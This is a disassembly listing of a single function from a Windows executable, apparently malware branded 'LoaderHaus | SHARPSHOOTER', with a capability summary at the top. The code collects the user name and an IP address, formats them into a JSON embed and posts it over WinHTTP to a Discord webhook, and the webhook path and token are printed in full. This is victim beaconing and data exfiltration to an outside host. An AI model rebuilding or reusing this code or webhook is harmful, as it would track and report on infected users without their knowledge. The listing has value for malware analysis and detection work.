Function at 0x1400052f0
Capabilities:
Get session user name
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x418]
sub rsp, 0x4e0
movaps xmmword [rax - 0x48], xmm6
mov rax, qword [0x140105ec0]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
xor r12d, r12d
mov dword [rbp - 0x20], 0x101
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x68], xmm0
movdqu xmmword [rbp + 0x78], xmm1
test eax, eax
je 0x140005382
lea rax, [rbp + 0xb0]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x140005370
lea rdx, [rbp + 0xb0]
jmp 0x14000538f
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Unavailable
lea rcx, [rbp + 0x68]
call fcn.14001c6d0
nop
lea rcx, [rbp + 0x88]
call fcn.140005070
nop
lea rdi, [rbp + 0x428]
call fcn.140001a90
mov rcx, qword [rax]
or rcx, 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
mov r9, qword [rbp + 0x420]
mov r8d, 0x200
lea rdx, [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___stdio_common_vsprintf]
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x18]
call fcn.14001a560
nop
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x28]
call fcn.14001a560
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
lea rax, [rbp + 0x1c0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140005412
mov r8, rbx
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x48]
call fcn.14001c6d0
nop
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
cmp r8, 2
jne 0x140005483
lea rdx, [0x1400ebfb8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140005483
mov r8d, 5
lea rdx, str.risku
lea rcx, [rbp - 0x18]
call fcn.14001af30
mov r8d, 5
lea rdx, str.risku
lea rcx, [rbp + 0x28]
call fcn.14001af30
mov rsi, qword [rbp + 0x38]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 0x75
jb 0x140005b45
lea r15, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova r15, qword [rbp + 0x28]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
lea r14, [rsi + 0x75]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp - 0x40]
cmp r14, rbx
jbe 0x14000554a
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000550c
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400c7418
test rax, rax
je 0x140005886
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140005546
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140005526
mov rdi, r12
jmp 0x140005546
cmp rcx, 0x1000
jb 0x14000553e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005b4b
jmp 0x1400054ed
call fcn.1400c7418
mov rdi, rax
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], rbx
movaps xmm0, xmmword [str._n_________embeds_:___n_____________title_:__LoaderHaus___SHARPSHOOTER___n_____________description_:__IP_Address:]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x1400ec040]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x1400ec050]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x1400ec060]
movups xmmword [rdi + 0x30], xmm1
movaps xmm0, xmmword [0x1400ec070]
movups xmmword [rdi + 0x40], xmm0
movaps xmm1, xmmword [0x1400ec080]
movups xmmword [rdi + 0x50], xmm1
movaps xmm0, xmmword [0x1400ec090]
movups xmmword [rdi + 0x60], xmm0
mov eax, dword [0x1400ec0a0]
mov dword [rdi + 0x70], eax
movzx eax, byte [0x1400ec0a4]
mov byte [rdi + 0x74], al
lea rcx, [rdi + 0x75]
mov r8, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, reloc.WS2_32.dll_send
lea rdx, str._nPC_Username:
lea rcx, [rbp - 0x40]
call fcn.14001ad80
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
lea rcx, [rbp - 0x60]
call fcn.14001ad80
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str._nMessage:
lea rcx, [rbp - 0x80]
call fcn.14001ad80
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.14001ad80
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 0x31
lea rdx, str.___n_____________color_:_16711680_n__________n____
lea rcx, [rsp + 0x40]
call fcn.14001ad80
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140005768
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005763
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005763
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
movdqa xmm6, xmmword [0x1400f36b0]
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400057bb
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400057b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140005804
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400057ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
movdqu xmmword [rbp - 0x70], xmm6
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000584b
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005846
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005846
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
movdqu xmmword [rbp - 0x50], xmm6
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140005892
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000588d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000588d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rbx, rax
test rax, rax
je 0x14000595d
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.discord.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rdi, rax
test rax, rax
je 0x140005954
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str._api_webhooks_1300159569544085505_cafjuB4WMwJk0r7tA4NmNbjTHHh_Sy_QbJsnGqu1BpLkn1g0qiKkypBzp67wLIDRvmqH
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
lea r9, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova r9, qword [rbp + 8]
mov qword [rsp + 0x30], r12
mov ecx, dword [rbp + 0x18]
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x14000594b
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x1400059a4
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000599f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000599f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
movdqu xmmword [rbp + 0x18], xmm6
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x1400059ec
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400059e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x140005a2a
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140005a78
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
mov qword [rbp - 8], r12
mov qword [rbp], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x140005acc
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ac7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ac7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
movdqu xmmword [rbp + 0x98], xmm6
mov byte [rbp + 0x88], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140005b1c
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b17
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7410
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.1400c73f0
movaps xmm6, xmmword [rsp + 0x4d0]
add rsp, 0x4e0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140001ca0
nop
call fcn.140001c00
int3